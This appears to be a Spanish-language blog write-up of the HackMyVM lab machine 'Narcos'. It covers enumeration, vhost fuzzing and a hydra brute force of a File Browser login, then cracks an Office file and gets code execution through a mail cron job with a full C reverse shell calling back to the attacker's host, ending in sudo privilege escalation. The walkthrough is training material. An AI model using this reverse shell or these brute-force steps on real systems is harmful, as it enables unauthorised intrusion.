cd ~/blog

~/writeups/hmv/003-narcos.md

003 - Narcos

medium Linux hmv 18-02-2024
Virtual host discoveryFile Browser default credentials brute forceOffice document cracking (office2john)Mail cron RCEsudo ALL Privesc
hackmyvm.eu/machines/machine.php?vm=Narcos

~1 min de lectura


Enumeración

Comenzamos con un escaneo general y específico de puertos con nmap:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.27
 nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.27
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-18 01:44 -03
Nmap scan report for 192.168.1.27
Host is up (0.00036s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 34:ca:69:62:40:8f:bb:10:a2:49:06:30:74:83:9d:69 (RSA)
|   256 7b:25:91:f3:04:54:3d:c3:c2:44:9b:b7:00:b9:38:bb (ECDSA)
|_  256 a8:23:a4:df:f8:e9:6a:8e:fe:74:38:fa:48:c7:59:df (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Escobar Store
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds

Enumeración web y subdominios

Enumeramos directorios con gobuster. Destaca /squirrelmail, el webmail que usaremos más adelante:

 gobuster dir -u 192.168.1.27 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/images               (Status: 200) [Size: 1331]
/index.html           (Status: 200) [Size: 11550]
/js                   (Status: 200) [Size: 954]
/squirrelmail         (Status: 200) [Size: 2912]
/bootstrap            (Status: 200) [Size: 1313]
...

Al iniciar la máquina, HackMyVM nos entrega el dominio escobar.hmv, que añadimos a /etc/hosts. Fuzzeamos subdominios (vhosts) con wfuzz, filtrando por el tamaño de la respuesta por defecto (--hh 11550) para descartar el contenido idéntico al sitio principal:

 wfuzz -u 'http://escobar.hmv' -H 'Host: FUZZ.escobar.hmv' -t 100 -w ~/Documentos/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hh 11550
...
000001030:   200        102 L    292 W      4245 Ch     "management"
...

File Browser y crackeo del Excel

Accedemos a management.escobar.hmv y nos encontramos con un File Browser. Investigando un poco, descubrimos que el repositorio del proyecto define admin como usuario por defecto, así que hacemos fuerza bruta de la contraseña contra su API de login:

 hydra -l admin -P ~/Documentos/wordlists/rockyou.txt management.escobar.hmv http-post-form '/api/login:{"username"\:"^USER^","password"\:"^PASS^"}:Forbidden' -t 64
...
[80][http-post-form] host: management.escobar.hmv   login: admin   password: gabriela
...

Dentro encontramos un logins.xlsx cifrado. Extraemos su hash con office2john y lo crackeamos con john:

 office2john logins.xlsx > hash
 john -w:/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
money1           (logins.xlsx)
...

RCE vía cron de correos

Accedemos al webmail (SquirrelMail) como gonzalo y descubrimos que hay una tarea cron que procesa los adjuntos de los correos. Editamos un correo y adjuntamos un binario update malicioso, una reverse shell escrita en C:

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "192.168.1.10"
#define REMOTE_PORT 4321

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}

Lo compilamos de forma estática (-static) para evitar problemas de librerías en la víctima:

 gcc reverse_shell.c -o update -static

Dejamos netcat a la escucha en nuestra máquina y esperamos. Cuando se dispara el cron, recibimos una shell como el usuario carlos y la primera flag.

Escalada de privilegios

Reutilizando las credenciales encontradas previamente, saltamos al usuario pablo. Revisamos qué puede ejecutar con sudo:

pablo@narcos:/home/carlos$ sudo -l
Matching Defaults entries for pablo on narcos:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pablo may run the following commands on narcos:
    (ALL : ALL) ALL

pablo tiene permisos equivalentes a superusuario, así que solo nos resta lanzar una shell con privilegios:

pablo@narcos:/home/carlos$ sudo bash -p
root@narcos:/home/carlos#

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados